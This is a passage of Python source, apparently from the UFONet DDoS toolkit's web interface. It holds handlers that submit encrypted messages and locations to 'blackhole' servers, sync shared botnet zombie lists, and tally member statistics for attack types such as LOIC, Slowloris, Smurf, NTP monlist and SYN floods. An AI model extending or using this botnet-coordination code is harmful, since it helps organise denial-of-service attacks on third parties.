  6091. open('/tmp/out', 'w').close()
  6092. with open('/tmp/out', 'r') as f:
  6093. self.pages["/cmd_transfer_link_update"] = "<pre>"+f.read()+"<pre>"
  6094. if page == "/cmd_transfer_stream":
  6095. self.pages["/cmd_transfer_stream"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6096. blackhole_ip = pGet["stream_source2"]
  6097. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6098. try:
  6099. stream_enckey = pGet["stream_enckey"]
  6100. except:
  6101. stream_enckey = ""
  6102. stream_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6103. stream_url = pGet["stream_url"]
  6104. if stream_url.startswith("http://") or stream_url.startswith("https://"): # parse proposed stream
  6105. pass
  6106. else:
  6107. streams_trans = "[Error] [AI] Proposed stream hasn't a correct format!. Try it again...\n"
  6108. stream_enckey = ""
  6109. if stream_url.startswith("www."):
  6110. stream_url = stream_url.replace("www.","")
  6111. stream_topic = pGet["stream_topic"]
  6112. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6113. if stream_enckey != "": # stream creation + encryption + package send
  6114. try:
  6115. self.encrypt(stream_enckey, stream_creation)
  6116. if self.encryptedtext:
  6117. stream_creation = self.encryptedtext
  6118. self.encryptedtext = "" # clean encryptedtext buffer
  6119. self.encrypt(stream_enckey, stream_url)
  6120. if self.encryptedtext:
  6121. stream_url = self.encryptedtext
  6122. self.encryptedtext = "" # clean encryptedtext buffer
  6123. self.encrypt(stream_enckey, stream_topic)
  6124. if self.encryptedtext:
  6125. stream_topic = self.encryptedtext
  6126. self.encryptedtext = "" # clean encryptedtext buffer
  6127. stream = str(stream_creation)+streams_msg_sep+str(stream_url)+streams_msg_sep+str(stream_topic)
  6128. try:
  6129. host = blackhole_ip
  6130. cport = 9992 # port used by mothership grider (server side script)
  6131. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6132. gs.settimeout(5.0)
  6133. gs.connect((host, cport))
  6134. gs.send(stream.encode())
  6135. gs.close()
  6136. try: # download latest links after submit
  6137. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  6138. f = open(self.streams_file, "w") # write updates to streams.txt
  6139. f.write(streams)
  6140. f.close()
  6141. except:
  6142. pass
  6143. streams_trans = "[Info] [AI] Stream transferred! -> [OK!]\n"
  6144. except:
  6145. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  6146. except:
  6147. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  6148. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6149. f = open("/tmp/out", "w")
  6150. f.write(streams_trans)
  6151. f.write(end_mark)
  6152. f.close()
  6153. if page == "/cmd_transfer_stream_update":
  6154. if not os.path.exists('/tmp/out'):
  6155. open('/tmp/out', 'w').close()
  6156. with open('/tmp/out', 'r') as f:
  6157. self.pages["/cmd_transfer_stream_update"] = "<pre>"+f.read()+"<pre>"
  6158. if page == "/cmd_transfer_globalnet":
  6159. self.pages["/cmd_transfer_globalnet"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6160. blackhole_ip = pGet["globalnet_source2"]
  6161. globalnet_deckey = crypto_key
  6162. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6163. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6164. blackhole_flag = False # used to check for repetitions
  6165. self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
  6166. for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
  6167. if globalnet_msg_sep in m:
  6168. m = m.split(globalnet_msg_sep)
  6169. globalnet_owner = m[0] # owner
  6170. self.decrypt(globalnet_deckey, globalnet_owner)
  6171. if self.decryptedtext:
  6172. globalnet_owner = self.decryptedtext
  6173. else:
  6174. globalnet_owner = nodec_text
  6175. self.decryptedtext = "" # clean decryptedtext buffer
  6176. globalnet_comment = m[1] # comment
  6177. self.decrypt(globalnet_deckey, globalnet_comment)
  6178. if self.decryptedtext:
  6179. globalnet_comment = self.decryptedtext
  6180. else:
  6181. globalnet_comment = nodec_text
  6182. self.decryptedtext = "" # clean decryptedtext buffer
  6183. globalnet_warp = m[2] # warp
  6184. self.decrypt(globalnet_deckey, globalnet_warp)
  6185. if self.decryptedtext:
  6186. globalnet_warp = self.decryptedtext
  6187. else:
  6188. globalnet_warp = nodec_text
  6189. if globalnet_warp == "OFF":
  6190. warp_color = "pink"
  6191. elif globalnet_warp == "ON1":
  6192. warp_color = "orange"
  6193. else: # ON2
  6194. warp_color = "blue"
  6195. self.decryptedtext = "" # clean decryptedtext buffer
  6196. globalnet_ip = m[3] # ip
  6197. self.decrypt(globalnet_deckey, globalnet_ip)
  6198. if self.decryptedtext:
  6199. globalnet_ip = self.decryptedtext
  6200. else:
  6201. globalnet_ip = nodec_text
  6202. self.decryptedtext = "" # clean decryptedtext buffer
  6203. if globalnet_ip == blackhole_ip: # only add NEW blackholes into the list
  6204. blackhole_flag = True
  6205. try:
  6206. globalnet_enckey = pGet["globalnet_enckey"]
  6207. except:
  6208. globalnet_enckey = ""
  6209. globalnet_owner = pGet["globalnet_owner"]
  6210. if len(globalnet_owner) < 3 or len(globalnet_owner) > 12: # default owner
  6211. globalnet_owner = "Anonymous"
  6212. globalnet_comment = pGet["globalnet_comment"]
  6213. if len(globalnet_comment) < 3 or len(globalnet_comment) > 90: # default comment
  6214. globalnet_comment = "-"
  6215. globalnet_warp = pGet["globalnet_warp"]
  6216. try:
  6217. globalnet_ip = requests.get(check_ip_service3).text
  6218. except:
  6219. try:
  6220. globalnet_ip = requests.get(check_ip_service2).text
  6221. except:
  6222. try:
  6223. globalnet_ip = requests.get(check_ip_service1).text
  6224. except:
  6225. globalnet_ip = "Unknown!"
  6226. if blackhole_flag == False: # only add NEW blackholes/IPs into the list
  6227. if globalnet_enckey != "": # stream creation + encryption + package send
  6228. try:
  6229. self.encrypt(globalnet_enckey, globalnet_owner)
  6230. if self.encryptedtext:
  6231. globalnet_owner = self.encryptedtext
  6232. self.encryptedtext = "" # clean encryptedtext buffer
  6233. self.encrypt(globalnet_enckey, globalnet_comment)
  6234. if self.encryptedtext:
  6235. globalnet_comment = self.encryptedtext
  6236. self.encryptedtext = "" # clean encryptedtext buffer
  6237. self.encrypt(globalnet_enckey, globalnet_warp)
  6238. if self.encryptedtext:
  6239. globalnet_warp = self.encryptedtext
  6240. self.encryptedtext = "" # clean encryptedtext buffer
  6241. self.encrypt(globalnet_enckey, globalnet_ip)
  6242. if self.encryptedtext:
  6243. globalnet_ip = self.encryptedtext
  6244. self.encryptedtext = "" # clean encryptedtext buffer
  6245. stream = str(globalnet_owner)+globalnet_msg_sep+str(globalnet_comment)+globalnet_msg_sep+str(globalnet_warp)+globalnet_msg_sep+str(globalnet_ip)
  6246. try:
  6247. host = blackhole_ip
  6248. cport = 9992 # port used by mothership grider (server side script)
  6249. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6250. gs.settimeout(5.0)
  6251. gs.connect((host, cport))
  6252. gs.send(stream.encode())
  6253. gs.close()
  6254. try: # download latest globalnet after submit
  6255. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  6256. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  6257. f.write(globalnet)
  6258. f.close()
  6259. except:
  6260. pass
  6261. globalnet_trans = "[Info] [AI] Location transferred! -> [OK!]\n"
  6262. except:
  6263. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  6264. except:
  6265. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  6266. else: # blackhole/ip is into 'globalnet.txt' file
  6267. globalnet_trans = "[Error] [AI] Your 'Blackhole/IP' is currently into the list. Aborting...\n"
  6268. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6269. f = open("/tmp/out", "w")
  6270. f.write(globalnet_trans)
  6271. f.write(end_mark)
  6272. f.close()
  6273. if page == "/cmd_transfer_globalnet_update":
  6274. if not os.path.exists('/tmp/out'):
  6275. open('/tmp/out', 'w').close()
  6276. with open('/tmp/out', 'r') as f:
  6277. self.pages["/cmd_transfer_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  6278. if page == "/cmd_sync_board":
  6279. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  6280. blackhole_ip = pGet["board_source"]
  6281. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6282. try:
  6283. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  6284. f = open(self.board_file, "w") # write updates to board.txt
  6285. f.write(board)
  6286. f.close()
  6287. self.board_text = board
  6288. except:
  6289. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  6290. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6291. f = open("/tmp/out", "w")
  6292. f.write(str(board))
  6293. f.write(end_mark)
  6294. f.close()
  6295. if page == "/cmd_sync_board_update":
  6296. if not os.path.exists('/tmp/out'):
  6297. open('/tmp/out', 'w').close()
  6298. with open('/tmp/out', 'r') as f:
  6299. stream = f.read()
  6300. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  6301. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  6302. if page == "/cmd_send_message_board":
  6303. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6304. blackhole_ip = pGet["board_source"]
  6305. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6306. try:
  6307. board_key = pGet["board_key"]
  6308. except:
  6309. board_key = ""
  6310. try:
  6311. board_topic = pGet["board_topic"]
  6312. except:
  6313. board_topic = ""
  6314. try:
  6315. board_message = pGet["stream_txt"]
  6316. except:
  6317. board_message = ""
  6318. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6319. if board_key != "" or board_topic != "" or board_message != "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  6320. try:
  6321. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  6322. board_data = json.load(board_json_file)
  6323. board_json_file.close()
  6324. board_nickname = board_data["profile_nick"]
  6325. self.encrypt(board_key, board_nickname)
  6326. if self.encryptedtext:
  6327. board_nickname = self.encryptedtext
  6328. self.encryptedtext = "" # clean encryptedtext buffer
  6329. board_icon = board_data["profile_icon"]
  6330. board_icon = board_icon.replace("link", "") # keep just icon number
  6331. board_id = board_data["profile_token"]
  6332. self.encrypt(board_key, board_message)
  6333. if self.encryptedtext:
  6334. board_message = self.encryptedtext
  6335. self.encryptedtext = "" # clean encryptedtext buffer
  6336. if board_topic == "general":
  6337. board_topic = 1
  6338. elif board_topic == "opsec":
  6339. board_topic = 2
  6340. elif board_topic == "faq":
  6341. board_topic = 3
  6342. elif board_topic == "bugs":
  6343. board_topic = 4
  6344. elif board_topic == "media":
  6345. board_topic = 5
  6346. else:
  6347. board_topic = 1
  6348. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  6349. try:
  6350. host = blackhole_ip
  6351. cport = 9992 # port used by mothership grider (server side script)
  6352. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6353. gs.settimeout(30)
  6354. gs.connect((host, cport))
  6355. gs.send(stream.encode())
  6356. gs.close()
  6357. try: # download latest board after submit
  6358. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  6359. f = open(self.board_file, "w") # write updates to board.txt
  6360. f.write(board)
  6361. f.close()
  6362. except:
  6363. pass
  6364. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  6365. except:
  6366. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  6367. except:
  6368. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  6369. f = open("/tmp/out", "w")
  6370. f.write(board_trans)
  6371. f.write(end_mark)
  6372. f.close()
  6373. if page == "/cmd_send_message_board_update":
  6374. if not os.path.exists('/tmp/out'):
  6375. open('/tmp/out', 'w').close()
  6376. with open('/tmp/out', 'r') as f:
  6377. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  6378. if page == "/cmd_decrypt":
  6379. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  6380. try:
  6381. news_key = pGet["news_key"]
  6382. except:
  6383. news_key = ""
  6384. try:
  6385. missions_key = pGet["missions_key"]
  6386. except:
  6387. missions_key = ""
  6388. end_mark = "\n[Info] [AI] End of decryption."
  6389. if news_key != "": # news decryption
  6390. self.decrypted_news = []
  6391. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6392. news_key = pGet["news_key"]
  6393. for news_text in self.list_news:
  6394. self.decrypt(news_key, news_text)
  6395. if self.decryptedtext:
  6396. if len(self.decryptedtext) < 2:
  6397. self.decrypted_news.append(nodec_text)
  6398. else:
  6399. self.decrypted_news.append(self.decryptedtext)
  6400. else:
  6401. self.decrypted_news.append(nodec_text)
  6402. self.decryptedtext = "" # clean decryptedtext buffer
  6403. f = open("/tmp/out", "w")
  6404. num_news = 0 # news counter
  6405. for m in self.decrypted_news:
  6406. num_news = num_news + 1
  6407. f.write("["+str(num_news)+"] " + str(m)+"\n")
  6408. f.write(end_mark)
  6409. f.close()
  6410. else:
  6411. if missions_key != "": # missions decryption
  6412. self.decrypted_missions = []
  6413. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6414. missions_key = pGet["missions_key"]
  6415. for missions_text in self.list_missions:
  6416. self.decrypt(missions_key, missions_text)
  6417. if self.decryptedtext:
  6418. if len(self.decryptedtext) < 2:
  6419. self.decrypted_missions.append(nodec_text)
  6420. else:
  6421. self.decrypted_missions.append(self.decryptedtext)
  6422. else:
  6423. self.decrypted_missions.append(nodec_text)
  6424. self.decryptedtext = "" # clean decryptedtext buffer
  6425. f = open("/tmp/out", "w")
  6426. num_mission = 0 # missions counter
  6427. for m in self.decrypted_missions:
  6428. num_mission = num_mission + 1
  6429. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  6430. f.write(end_mark)
  6431. f.close()
  6432. else: # blackholes (nodes) decryption + data showing
  6433. self.decrypted_blackholes = []
  6434. nodec_text = "*** [This message cannot be solved with that key...]"
  6435. blackhole_key = pGet["blackhole_key"]
  6436. for blackholes_text in self.list_blackholes:
  6437. self.decrypt(blackhole_key, blackholes_text)
  6438. if self.decryptedtext:
  6439. self.decrypted_blackholes.append(self.decryptedtext)
  6440. else:
  6441. self.decrypted_blackholes.append(nodec_text)
  6442. self.decryptedtext = "" # clean decryptedtext buffer
  6443. f = open("/tmp/out", "w")
  6444. num_blackholes = 0 # blackholes counter
  6445. for b in self.decrypted_blackholes:
  6446. num_blackholes = num_blackholes + 1
  6447. if blackhole_sep in b: # IP | Mode | Comment | Actions
  6448. s = b.rsplit(blackhole_sep, 1)[0]
  6449. ip = str(s.rsplit(blackhole_sep, 1)[0])
  6450. mode = str(s.rsplit(blackhole_sep, 1)[1])
  6451. if mode == "D": # Download only mode
  6452. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  6453. elif mode == "U": # Upload only mode
  6454. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  6455. else: # Upload/Download mode
  6456. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  6457. comment = str(b.rsplit(blackhole_sep, 1)[1])
  6458. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  6459. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  6460. else:
  6461. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  6462. f.write(end_mark)
  6463. f.close()
  6464. if page == "/cmd_decrypt_update":
  6465. if not os.path.exists('/tmp/out'):
  6466. open('/tmp/out', 'w').close()
  6467. with open('/tmp/out', 'r') as f:
  6468. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  6469. if page == "/news":
  6470. self.pages["/news"] = self.html_news()
  6471. if page == "/tv":
  6472. self.pages["/tv"] = self.html_tv()
  6473. if page == "/missions":
  6474. self.pages["/missions"] = self.html_missions()
  6475. if page == "/board":
  6476. self.pages["/board"] = self.html_board()
  6477. if page == "/grid":
  6478. self.pages["/grid"] = self.html_grid()
  6479. if page == "/wargames":
  6480. self.pages["/wargames"] = self.html_wargames()
  6481. if page == "/links":
  6482. self.pages["/links"] = self.html_links()
  6483. if page == "/streams":
  6484. self.pages["/streams"] = self.html_streams()
  6485. if page == "/games":
  6486. self.pages["/games"] = self.html_games()
  6487. if page == "/spaceinvaders":
  6488. self.pages["/spaceinvaders"] = self.html_spaceinvaders()
  6489. if page == "/browser":
  6490. self.pages["/browser"] = self.html_browser()
  6491. if page == "/radar":
  6492. self.pages["/radar"] = self.html_globalnet()
  6493. if page == "/grid_profile":
  6494. if pGet=={}:
  6495. self.pages["/grid_profile"] = self.html_grid_profile()
  6496. else:
  6497. self.save_grid(pGet)
  6498. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  6499. if page == "/board_profile":
  6500. if pGet =={}:
  6501. self.pages["/board_profile"] = self.html_board_profile()
  6502. else:
  6503. self.save_profile(pGet)
  6504. self.pages["/board_profile"] = self.html_board_profile_submit()
  6505. if page == "/board_remove":
  6506. self.pages["/board_remove"] = self.html_board_remove()
  6507. if page == "/grid_remove":
  6508. self.pages["/grid_remove"] = self.html_grid_remove()
  6509. if page == "/cmd_decrypt_moderator_board":
  6510. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  6511. try:
  6512. board_key = pGet["board_key"]
  6513. except:
  6514. board_key = ""
  6515. try:
  6516. filter = pGet["filter"]
  6517. except:
  6518. filter = ""
  6519. end_mark = "\n[Info] [AI] End of decryption."
  6520. if board_key != "": # board decryption
  6521. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  6522. f = open("/tmp/out", "w")
  6523. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  6524. f.write(str(b)+"\n")
  6525. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  6526. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  6527. if board_msg_sep in m:
  6528. m = m.split(board_msg_sep)
  6529. topic = m[0] # topic
  6530. t = m[1] # icon
  6531. n = m[2] # nick
  6532. g = m[3] # id
  6533. l = m[4] # comment
  6534. if topic == "1":
  6535. topic = "/GENERAL"
  6536. elif topic == "2":
  6537. topic = "/#OPSEC "
  6538. elif topic == "3":
  6539. topic = "/FAQ "
  6540. elif topic == "4":
  6541. topic = "/BUGS "
  6542. elif topic == "5":
  6543. topic = "/MEDIA "
  6544. else:
  6545. topic = "/BUGS[!]"
  6546. operator_img = open("core/images/crew/link"+str(t)+".txt").read()
  6547. icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
  6548. self.decrypt(board_key, n)
  6549. if self.decryptedtext:
  6550. nick = self.decryptedtext
  6551. else:
  6552. nick = 'Anonymous' # We are legion!
  6553. try:
  6554. nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
  6555. except:
  6556. pass
  6557. if len(nick) < 3:
  6558. nick = 'Anonymous'
  6559. self.decryptedtext = "" # clean decryptedtext buffer
  6560. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  6561. self.decrypt(board_key, l)
  6562. if self.decryptedtext:
  6563. msg = self.decryptedtext
  6564. else:
  6565. msg = nodec_text
  6566. try:
  6567. msg = msg.decode('latin-1')
  6568. except:
  6569. pass
  6570. if len(msg) < 2:
  6571. msg = nodec_text
  6572. self.decryptedtext = "" # clean decryptedtext buffer
  6573. if filter in topic or filter == "ALL": # filter content by user selection
  6574. b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
  6575. b += "<font size=+2>"+str(topic)+"</font>"
  6576. b += "<br>by "+str(nick)+"<br><br>"
  6577. b += str(msg) + "</td></tr>"
  6578. f.write(str(b)+"\n")
  6579. else:
  6580. pass
  6581. else: # not valid stream data
  6582. pass
  6583. b="</table>"
  6584. f.write(str(b)+"\n")
  6585. f.write(end_mark)
  6586. f.close()
  6587. if page == "/cmd_decrypt_moderator_board_update":
  6588. if not os.path.exists('/tmp/out'):
  6589. open('/tmp/out', 'w').close()
  6590. with open('/tmp/out', 'r') as f:
  6591. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  6592. if page == "/cmd_decrypt_grid":
  6593. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  6594. try:
  6595. grid_key = pGet["grid_key"]
  6596. except:
  6597. grid_key = ""
  6598. end_mark = "[Info] [AI] End of decryption."
  6599. if grid_key != "": # grid decryption
  6600. # Mothership stats counters
  6601. mothership_members = 0
  6602. unknown_members = 0
  6603. member_1 = 0 # Rookie
  6604. member_2 = 0 # Mercenary
  6605. member_3 = 0 # Bandit
  6606. member_4 = 0 # UFOmmander!
  6607. member_5 = 0 # UFOl33t!
  6608. mothership_missions = 0
  6609. mothership_transferred = 0
  6610. mothership_attacks = 0
  6611. mothership_loic = 0
  6612. mothership_loris = 0
  6613. mothership_ufosyn = 0
  6614. mothership_spray = 0
  6615. mothership_smurf = 0
  6616. mothership_xmas = 0
  6617. mothership_nuke = 0
  6618. mothership_tachyon = 0
  6619. mothership_monlist = 0
  6620. mothership_fraggle = 0
  6621. mothership_sniper = 0
  6622. mothership_ufoack = 0
  6623. mothership_uforst = 0
  6624. mothership_droper = 0
  6625. mothership_overlap = 0
  6626. mothership_pinger = 0
  6627. mothership_ufoudp = 0
  6628. mothership_chargo = 0
  6629. mothership_dorking = 0
  6630. mothership_maxchargo = 0
  6631. nodec_text = "KEY?"
  6632. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_fraggle' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('fraggle','"+str(grid_key)+"')>FRAGGLE:</a></td><td align='center'><a id='filter_sniper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('sniper','"+str(grid_key)+"')>SNIPER:</a></td><td align='center'><a id='filter_ufoack' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoack','"+str(grid_key)+"')>UFOACK:</a></td><td align='center'><a id='filter_uforst' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('uforst','"+str(grid_key)+"')>UFORST:</a></td><td align='center'><a id='filter_droper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('droper','"+str(grid_key)+"')>DROPER:</a></td><td align='center'><a id='filter_overlap' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('overlap','"+str(grid_key)+"')>OVERLAP:</a></td><td align='center'><a id='filter_pinger' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('pinger','"+str(grid_key)+"')>PINGER:</a></td><td align='center'><a id='filter_ufoudp' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoudp','"+str(grid_key)+"')>UFOUDP:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  6633. grid_key = pGet["grid_key"]
  6634. f = open("/tmp/out", "w")
  6635. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  6636. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
  6637. if grid_msg_sep in m:
  6638. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4|26->1.5)
  6639. m = m.split(grid_msg_sep)
  6640. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  6641. grid_nickname = m[0] # nickname
  6642. self.decrypt(grid_key, grid_nickname)
  6643. if self.decryptedtext:
  6644. grid_nickname = self.decryptedtext
  6645. else:
  6646. grid_nickname = nodec_text
  6647. unknown_members = unknown_members + 1 # add members as unknown
  6648. self.decryptedtext = "" # clean decryptedtext buffer
  6649. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  6650. grid_nickname = "Anonymous"
  6651. else:
  6652. grid_nickname = str(grid_nickname) # nickname
  6653. grid_ranking = m[1] # ranking
  6654. self.decrypt(grid_key, grid_ranking)
  6655. if self.decryptedtext:
  6656. try:
  6657. grid_ranking = int(self.decryptedtext)
  6658. except:
  6659. grid_ranking = nodec_text
  6660. else:
  6661. grid_ranking = nodec_text
  6662. self.decryptedtext = "" # clean decryptedtext buffer
  6663. if grid_ranking == 1: #Rookie
  6664. grid_ranking = "<font color='white' size='4'>*</font>"
  6665. member_1 = member_1 + 1
  6666. elif grid_ranking == 2: # Mercenary
  6667. grid_ranking = "<font color='cyan' size='4'>**</font>"
  6668. member_2 = member_2 + 1
  6669. elif grid_ranking == 3: # Bandit
  6670. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  6671. member_3 = member_3 + 1
  6672. elif grid_ranking == 4: # UFOmmander!
  6673. grid_ranking = "<font color='blue' size='4'>****</font>"
  6674. member_4 = member_4 + 1
  6675. elif grid_ranking == 5: # UFOl33t!
  6676. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  6677. member_5 = member_5 + 1
  6678. else:
  6679. grid_ranking = nodec_text
  6680. grid_totalchargo = m[2] # total chargo
  6681. self.decrypt(grid_key, grid_totalchargo)
  6682. if self.decryptedtext:
  6683. grid_totalchargo = self.decryptedtext
  6684. else:
  6685. grid_totalchargo = nodec_text
  6686. self.decryptedtext = "" # clean decryptedtext buffer
  6687. try: # parse for int
  6688. grid_totalchargo = int(grid_totalchargo)
  6689. mothership_chargo = mothership_chargo + grid_totalchargo
  6690. except:
  6691. grid_totalchargo = nodec_text
  6692. grid_dorking = m[3] # dorking
  6693. self.decrypt(grid_key, grid_dorking)
  6694. if self.decryptedtext:
  6695. grid_dorking = self.decryptedtext
  6696. else:
  6697. grid_dorking = nodec_text
  6698. self.decryptedtext = "" # clean decryptedtext buffer
  6699. try: # parse for int
  6700. grid_dorking = int(grid_dorking)
  6701. mothership_dorking = mothership_dorking + grid_dorking
  6702. except:
  6703. grid_dorking = nodec_text
  6704. grid_transferred = m[4] # transferred
  6705. self.decrypt(grid_key, grid_transferred)
  6706. if self.decryptedtext:
  6707. grid_transferred = self.decryptedtext
  6708. else:
  6709. grid_transferred = nodec_text
  6710. self.decryptedtext = "" # clean decryptedtext buffer
  6711. try: # parse for int
  6712. grid_transferred = int(grid_transferred)
  6713. mothership_transferred = mothership_transferred + grid_transferred
  6714. except:
  6715. grid_transferred = nodec_text
  6716. grid_maxchargo = m[5] # maxchargo
  6717. self.decrypt(grid_key, grid_maxchargo)
